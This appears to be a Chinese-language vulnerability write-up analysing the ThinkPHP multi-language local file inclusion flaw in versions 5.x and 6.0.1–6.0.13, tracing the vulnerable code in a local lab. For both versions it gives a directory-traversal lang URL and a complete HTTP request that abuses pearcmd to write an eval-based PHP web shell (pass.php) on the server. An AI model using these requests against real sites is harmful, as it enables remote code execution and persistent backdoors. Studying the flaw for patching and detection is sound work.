0%

thinkphp多语言本地文件包含漏洞

漏洞介绍:

ThinkPHP 在开启多语言的情况下,存在文件包含漏洞,配合 pearcmd 可以 getshell

漏洞影响:

存在漏洞的版本

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

不存在漏洞的版本

ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42

漏洞分析1:thinkphp5版本

测试环境搭建:

1
2
thinkphp v5.1.41
php v7.3.4

首先在文件tp5.1/config/app.php中开启多语言

image-20240129205913722

然后在tp5.1/public目录新建文件phpinfo.php内容为<?=phpinfo();

漏洞分析:

漏洞验证时当我们访问如下url时会文件包含phpinfo.php

url:http://localhost/tp5.1/public/index.php/?lang=../../public/phpinfo

image-20240129210258464

我们来分析漏洞成因

首先我们看到tp5.1\thinkphp\library\think\App.php中的loadLangPack方法

文件包含点出现在Lang::load方法中,想要包含任意php文件,我们需要控制变量langset的值

image-20240129211951600

先分析Lang::detect中

我们可以通过get请求带有参数lang的方式给$this->range赋任意值

image-20240129212459276

接着回到loadLangPack方法,因为$this->request->setLangset($this->lang->range());所以通过Lang类的变量range我们可以给Lang类的变量Langset赋予任意值。

再来看Lang::load

image-20240129213137201

包含的文件一般是这个样子的,而且我们只能包含php文件。

image-20240129213225196

所以这个漏洞需要和pearcmd拓展相结合才能rce

pearcmd利用方式介绍:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

所以最终的利用数据包应该是这样的形式(将会在public目录生成后门文件pass.php)

1
2
3
4
5
6
7
8
9
GET /tp5.1/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['pass'])?>+pass.php HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0

漏洞分析2:thinkphp6版本

测试环境搭建:

1
2
thinkphp v6.0.13
php v7.3.4

首先在文件tp6.0/app/middleware.php中开启多语言

image-20240129214050772

然后在tp6.0/public目录新建文件phpinfo.php内容为<?=phpinfo();

漏洞分析:

漏洞验证时当我们访问如下url时会文件包含phpinfo.php

url:http://localhost/tp6.0/public/index.php/?lang=../../public/phpinfo

首先看到tp6.0\vendor\topthink\framework\src\think\middleware\LoadLangPack.php中的handle方法

detect方法和和thinkphp5的没有太大差别同样是可以通过get传递lang的方式设置$langset的值,load

方法在switchLangSet()我们需要进入其中

image-20240129220407703

进入Lang::switchLangSet

image-20240129220805164

继续进入其中的load方法

image-20240129220853353

继续进入其中的parse方法

image-20240129220939851

包含的文件一般是这个样子的,还是只能包含php文件。

image-20240129221419977

和pearcmd结合利用的数据包如下:(将会在public目录生成后门文件pass.php

1
2
3
4
5
6
7
8
GET /tp6.0/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['pass'])?>+pass.php HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0